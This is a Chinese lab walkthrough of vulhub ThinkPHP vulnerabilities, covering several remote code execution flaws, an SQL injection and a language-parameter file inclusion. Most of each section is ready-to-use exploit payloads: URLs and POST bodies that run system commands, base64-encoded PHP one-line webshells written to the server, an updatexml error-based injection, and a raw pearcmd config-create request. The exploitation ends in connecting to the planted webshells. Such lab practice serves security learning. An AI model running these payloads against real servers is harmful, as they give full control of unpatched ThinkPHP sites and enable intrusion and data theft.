【vulhub】thinkphp漏洞系列
【vulhub】thinkphp漏洞系列
ThinkPHP是什么
ThinkPHP是一款免费开源、快速、简单且面向对象的轻量级PHP开发框架。它遵循MVC设计模式,内置了全功能ORM、模板引擎、路由、缓存、验证器等丰富组件,极大地简化了数据库操作和Web开发流程。ThinkPHP尤其适合快速构建中小型企业网站、API接口和后台管理系统,拥有庞大的开发者社区和丰富的学习资源。
一、2-rce 远程代码执行漏洞
1. 漏洞描述
ThinkPHP 2.x版本的RCE漏洞主要源于其路由匹配机制中对用户输入的不当处理。具体来说,该框架在使用preg_replace的/e模式匹配路由时,未对用户输入参数进行充分过滤,导致输入参数被直接插入双引号中执行,从而引发任意代码执行漏洞。
漏洞原理: ThinkPHP 2.x在处理路由时,通过preg_replace
函数的/e
模式进行正则匹配,用户输入的参数可能被直接注入到代码执行上下文中,导致攻击者可构造恶意输入执行任意代码。
preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
影响范围: 主要影响ThinkPHP 2.x版本,部分3.0版本(如Lite模式)因未修复该问题也可能受影响。
2. 环境启动
cd vulhub-master/thinkphp/5-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态
环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/
3. 漏洞验证与利用
构造payload:http://127.0.0.1:8080/?s=/Index/index/a/${@phpinfo()}
写入一句话木马:
http://127.0.0.1:8080/?s=/Index/index/a/${@print(eval($_POST[cmd]))}
蚁剑连接:
连接成功,添加数据:
练习结束记得关闭靶场,避免端口被占用的情况:sudo docker-compose down
二、5.0.23-rce 远程代码执行漏洞
1. 漏洞描述
漏洞原理:
由于框架对控制器名和请求方法的处理存在缺陷,攻击者可通过精心构造的URL或POST请求,绕过安全检测,调用框架内部的敏感函数(如system
),从而执行任意PHP代码。
影响版本:
ThinkPHP 5.0系列 <= 5.0.23。
漏洞复现方法:
- 访问目标站点的
/index.php?s=captcha
路径,若出现报错页面,表明可能存在漏洞。 - 使用工具(如Burp Suite、Hackbar)发送POST请求,构造Payload:
_method=__construct&filter[]=system&method=get&server[request_method]=<命令>
(例如whoami
、id
等系统命令)。 - 若成功执行命令,可进一步上传WebShell(需对代码进行Base64编码绕过过滤),实现对服务器的完全控制。
修复建议:
- 升级ThinkPHP框架至5.0.24及以上版本。
- 严格限制用户输入,加强服务器安全配置。
- 定期进行安全扫描和漏洞检测。
2. 环境启动
cd vulhub-master/thinkphp/5-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态
环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/
3. 漏洞验证与利用
http://127.0.0.1:8080/index.php?s=captcha
法一:使用 HackBar 工具,发送POST请求,构造Payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
法二:使用 Burpsuite 工具,发送POST请求,构造Payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
漏洞利用,写入一句话木马:<?php @eval($_POST['cmd']);?>
,先进行base64编码
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d >test.php
访问 http://192.168.44.129:8080/test.php
,上传成功,如果上传失败会回显 Not Found
蚁剑连接成功:
或者直接上传一句话木马,不需要base64编码:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST[1])?>" >> 1.php
- 此时需要特别注意的是,在linux中,以开头的将会被当成参数去除掉,所以我们需要在 前面加上个\。
- 否则访问1.php时会报错:
Parse error: syntax error, unexpected end of file, expecting '(' in /var/www/public/1.php(1) : eval()'d code on line 1
蚁剑连接成功
练习结束记得关闭靶场,避免端口被占用的情况:sudo docker-compose down
三、5-rce 远程代码执行漏洞
1. 漏洞描述
漏洞原理:
由于框架对控制器名未进行充分检测,攻击者可在未开启强制路由时执行任意方法,从而实现远程代码执行。
影响版本:
- 5.0.x:5.0.0 ≤ ThinkPHP 5 ≤ 5.0.23
- 5.1.x:5.1.0 ≤ ThinkPHP 5 ≤ 5.1.30
漏洞复现方法:
-
环境搭建
进入Vulhub目录thinkphp/5-rce
,执行docker-compose up -d
启动靶场,访问http://<IP>:8080
确认环境搭建成功。 -
漏洞利用示例
-
执行系统命令:
纯文本http://<IP>:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
-
写入一句话木马:
纯文本http://<IP>:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST['cmd']); ?>" > shell.php
-
2. 环境启动
cd vulhub-master/thinkphp/5-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态
环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/
3. 漏洞验证与利用
phpinfo:
http://192.168.44.129:8080/index.php?s=/Index/\think\app/invokefunction&function=phpinfo&vars[0]=-1
whoami:
http://192.168.44.129:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
-
call_user_func_array 是 PHP 中的一个核心函数,用于动态调用回调函数(callback),并将参数以数组形式传递给该函数。
mixed call_user_func_array(callable $callback, array$args)
参数说明: `$callback`:要调用的回调函数,可以是以下形式:普通函数名(字符串):'function_name'对象方法:[$object, 'methodName']静态类方法:['ClassName', 'staticMethod']匿名函数(闭包):$closure类静态方法(PHP 7+):'ClassName::staticMethod' `$args`:索引数组,包含要传递给回调函数的参数。数组元素的顺序对应函数参数的顺序。
漏洞利用,写入一句话木马:
http://192.168.44.129:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "aa<?php @eval(\$_POST[cmd]);?>" >>shell.php
蚁剑测试连接成功:
练习结束记得关闭靶场,避免端口被占用的情况:sudo docker-compose down
四、in-sqlinjection sql注入漏洞
1. 漏洞描述
漏洞原理:
在ThinkPHP的Builder类parsedata方法中,程序未对用户输入数据进行充分过滤,直接拼接进SQL语句,导致SQL注入漏洞。
影响版本:
ThinkPHP 5.0.13 ≤ 版本 ≤ 5.0.15
ThinkPHP 5.1.0 ≤ 版本 ≤ 5.1.5
复现方法:
环境搭建:进入Vulhub对应目录,执行docker-compose up -d启动靶场。
攻击示例:通过构造恶意请求触发漏洞,例如:
http://目标IP/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
此请求会尝试拼接SQL语句,若漏洞存在,将返回包含数据库用户信息的错误提示。
2. 环境启动
cd vulhub-master/thinkphp/5-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态
环境启动后,浏览器访问靶场,http://127.0.0.1:80/ 或者 http://[ip]:80/
3. 漏洞验证与利用
构造payload爆出用户名和密码:
/index.php?ids[]=1&ids[]=2
报错注入,若漏洞存在,则返回包含数据库用户信息的错误提示
练习结束记得关闭靶场,避免端口被占用的情况:sudo docker-compose down
五、lang-rce 多语言本地文件包含漏洞
1. 漏洞描述
漏洞原理:
thinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。通过 get、header、cookie 等位置传入参数实现目录穿越和文件包含,从而利用 pearcmd 文件包含实现远程命令执行通过构造特定的 URL,可以实现目录穿越和文件包含,然后利用 pearcmd 文件包含实现远程命令执行。
虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件
影响版本:
ThinkPHP 5.0.0 - 5.0.12
ThinkPHP 5.1.0 - 5.1.8
ThinkPHP 6.0.0 - 6.0.13
漏洞利用条件:
服务器需安装pear组件。
PHP环境需开启register_argc_argv。
复现步骤:
环境搭建:通过Vulhub拉取镜像并启动容器,访问http://:8080确认环境正常。
漏洞利用:构造包含恶意lang参数的请求,例如:
GET /?s=index/index&lang=../../../../../../../../../../usr/local/lib/php/pearcmd&/<?php phpinfo();?>
若服务器返回phpinfo()内容,表明漏洞利用成功。
2. 环境启动
cd vulhub-master/thinkphp/5-rce # 进入vulhub靶场文件目录
service docker start # 启动docker
sudo docker-compose up -d # 启动靶场服务
sudo docker ps -a # 查看服务状态
环境启动后,浏览器访问靶场,http://127.0.0.1:8080/ 或者 http://[ip]:8080/
3. 漏洞验证与利用
ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含public/index.php文件来确认文件包含漏洞是否存在:
/?lang=../../../../../public/index
返回500页面,服务器出错,说明漏洞存在
利用Burpsuite抓包,写入shell.php文件,poc如下:https://github.com/vulhub/vulhub/blob/master/thinkphp/lang-rce/README.zh-cn.md
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0
发包,服务器返回pearcmd的命令行执行结果,漏洞利用成功
访问:http://192.168.44.129:8080/shell.php
漏洞利用,修改poc传入木马:
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();@eval($_POST[cmd]);?>+shell.php
访问:http://192.168.44.129:8080/shell.php
蚁剑连接成功:
练习结束记得关闭靶场,避免端口被占用的情况:sudo docker-compose down